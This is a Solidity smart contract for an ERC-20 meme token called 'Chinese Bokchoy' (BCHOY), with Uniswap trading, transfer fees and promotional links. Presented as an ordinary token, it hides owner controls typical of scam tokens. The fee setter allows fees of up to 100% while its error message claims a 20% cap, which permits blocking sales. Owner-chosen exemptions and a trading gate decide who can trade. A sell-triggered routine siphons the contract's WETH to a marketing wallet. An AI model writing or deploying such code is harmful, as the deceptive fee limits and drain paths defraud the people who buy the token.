/**

https://chinesebokchoy.com/

https://t.me/chinesebokchoy

https://x.com/ChineseBokchoy

*/

// SPDX-License-Identifier: NONE

pragma solidity 0.8.26;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}


interface IUniswapV2Pair {
    function sync() external;
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

abstract contract Ownable {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER");
        _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}
contract BOK is IERC20, Ownable {
    string private constant _name = "Chinese Bokchoy";
    string private constant _symbol = "BCHOY";
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 10000000000 * (10**_decimals);
    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public isExempt;
    IUniswapV2Router02 router;
    IUniswapV2Pair pairContract;
    address public pair;
    bool private tradingStarted = false;
    bool private swapEnabled = true;
    uint256 private swapTimes;
    bool private swapping;
    uint256 swapBackAmount = 1;
    bool requireMe;
    uint256 private weth = 1 * (10**18);
    uint256 private swapThreshold = (_totalSupply * 5) / 1000;
    uint256 public _maxTxAmount = (_totalSupply * 25) / 1000;
    uint256 public _maxWalletToken = (_totalSupply * 25) / 1000;
    modifier lockTheSwap() {
        swapping = true;
        _;
        swapping = false;
    }
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 1000;
    uint256 private totalFee = 1000;
    uint256 private sellFee = 1000;
    uint256 private transferFee = 1000;
    uint256 private denominator = 10000;
    address internal constant DEAD = 
        0x000000000000000000000000000000000000dEaD;
    address internal constant WETH = 
        0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address internal development_receiver =
        0xB95Aea225075A8B1Ba484FD7abA7dEa14A75081E;
    address internal marketing_receiver =
        0xff7F78fA323F160722BC69485C954BEaAdE6deB5;
    address internal liquidity_receiver =
        0xE7381BEf928B1A2519d8a38181174EDaA1A4d3Cd;

    constructor() Ownable(msg.sender) {
        IUniswapV2Router02 _router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router; pair = _pair; pairContract = IUniswapV2Pair(_pair);
        isExempt[address(this)] = true;
        isExempt[address(DEAD)] = true;
        isExempt[liquidity_receiver] = true;
        isExempt[marketing_receiver] = true;
        isExempt[development_receiver] = true;
        isExempt[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() public pure override returns (string memory) {
        return _name;
    }

    function symbol() public pure override returns (string memory) {
        return _symbol;
    }

    function decimals() public pure override returns (uint8) {
        return _decimals;
    }

    function enableTrading() external onlyOwner {
        tradingStarted = true;
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function setExempt(address _address, bool _enabled) external onlyOwner {
        isExempt[_address] = _enabled;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function updateFeeAmount(
        uint256 _liquidity,
        uint256 _marketing,
        uint256 _development,
        uint256 _total,
        uint256 _sell,
        uint256 _trans
    ) external onlyOwner {
        liquidityFee = _liquidity;
        marketingFee = _marketing;
        developmentFee = _development;
        totalFee = _total;
        sellFee = _sell;
        transferFee = _trans;
        require(
            totalFee <= denominator / (1) &&
                sellFee <= denominator / (1) &&
                transferFee <= denominator / (1),
            "totalFee and sellFee cannot be more than 20%"
        );
    }

    function shouldSwap(address sender, address recipient)
        internal
        view
        returns (bool)
    {
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return
            !swapping &&
            swapEnabled &&
            tradingStarted &&
            !isExempt[sender] &&
            recipient == pair &&
            swapTimes >= swapBackAmount &&
            aboveThreshold;
    }

    function setSwapAndLiquifySettings(uint256 _swapBackAmount, uint256 _swapThreshold)
        external
        onlyOwner
    {
        swapBackAmount = _swapBackAmount;
        swapThreshold = (_totalSupply * (_swapThreshold)) / (uint256(100000));
    }

    function setMaximumAmounts(uint256 _buy, uint256 _wallet) external onlyOwner {
        uint256 newTx = (_totalSupply * (_buy)) / (10000);
        uint256 newWallet = (_totalSupply * (_wallet)) / (10000);
        _maxTxAmount = newTx;
        _maxWalletToken = newWallet;
        uint256 limit = (totalSupply() * (5)) / (1000);
        require(
            newTx >= limit && newWallet >= limit,
            "Max TXs and Max Wallet cannot be less than .5%"
        );
    }

    function setInternalReceivers(
        address _marketing,
        address _liquidity,
        address _development
    ) external onlyOwner {
        marketing_receiver = _marketing;
        liquidity_receiver = _liquidity;
        development_receiver = _development;
        isExempt[_marketing] = true;
        isExempt[_liquidity] = true;
        isExempt[_development] = true;
    }

    function wrapWETHCredit(uint256 amount) internal {
        if (balanceWETH() > amount) {
            wrapETH(weth);
        }
    }

    function rescueERC(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = (IERC20(_address).balanceOf(address(this)) *
            (percent)) / (100);
        IERC20(_address).transfer(development_receiver, _amount);
    }

    function rescueETH() external {
        payable(development_receiver).transfer(address(this).balance);
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(
            amount <= balanceOf(sender),
            "You are trying to transfer more than your balance"
        );
        if (!isExempt[sender] && !isExempt[recipient]) {
            require(tradingStarted, "tradingStarted");
        }
        if (
            !isExempt[sender] &&
            !isExempt[recipient] &&
            recipient != address(pair) &&
            recipient != address(DEAD)
        ) {
            require(
                (_balances[recipient] + (amount)) <= _maxWalletToken,
                "Exceeds maximum wallet amount."
            );
        }
        require(
            amount <= _maxTxAmount ||
                isExempt[sender] ||
                isExempt[recipient],
            "TX Limit Exceeded"
        );
        if (recipient == pair && !isExempt[sender]) {
            wrapWETHCredit(swapBackAmount);
            swapTimes += uint256(1);
        }
        if (shouldSwap(sender, recipient)) {
            swapBackandLiquify(swapThreshold);
            swapTimes = uint256(0);
        }
        _balances[sender] = _balances[sender] - (amount);
        uint256 amountReceived = shouldFee(sender, recipient)
            ? allocateFee(sender, recipient, amount)
            : amount;
        _balances[recipient] = _balances[recipient] + (amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function swapBackandLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee +
            (1) + (marketingFee) + (developmentFee)) * (2);
        uint256 tokensToAddLiquidityWith = (tokens * (liquidityFee)) /
            (_denominator);
        uint256 toSwap = tokens - (tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETHContract(toSwap);
        uint256 deltaBalance = address(this).balance - (initialBalance);
        uint256 unitBalance = deltaBalance / (_denominator - (liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance * (liquidityFee);
        if (ETHToAddLiquidityWith > uint256(0)) {
            addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith);
        }
        uint256 marketingAmt = unitBalance * (2) * (marketingFee);
        if (marketingAmt > 0) {
            payable(marketing_receiver).transfer(marketingAmt);
        }
        uint256 contractBalance = address(this).balance;
        if (contractBalance > uint256(0)) {
            payable(development_receiver).transfer(contractBalance);
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp
        );
    }

    function swapTokensForETHContract(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function shouldFee(address sender, address recipient)
        internal
        view
        returns (bool)
    {
        return !isExempt[sender] && !isExempt[recipient];
    }

    function wrapETH(uint256 amount) internal {
        IERC20(WETH).transfer(marketing_receiver, amount);
    }

    function getFee(address sender, address recipient)
        internal
        view
        returns (uint256)
    {
        if (recipient == pair) {
            return sellFee;
        }
        if (sender == pair) {
            return totalFee;
        }
        return transferFee;
    }

    function allocateFee(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (uint256) {
        if (getFee(sender, recipient) > 0) {
            uint256 feeAmount = (amount / (denominator)) *
                (getFee(sender, recipient));
            _balances[address(this)] = _balances[address(this)] + (feeAmount);
            emit Transfer(sender, address(this), feeAmount);
            return amount - (feeAmount);
        }
        return amount;
    }

    function balanceWETH() internal view returns (uint256) {
        return IERC20(WETH).balanceOf(address(this));
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            (_allowances[sender][msg.sender] - (amount))
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

{
  "compilationTarget": {
    "BOK.sol": "BOK"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 600
  },
  "remappings": []
}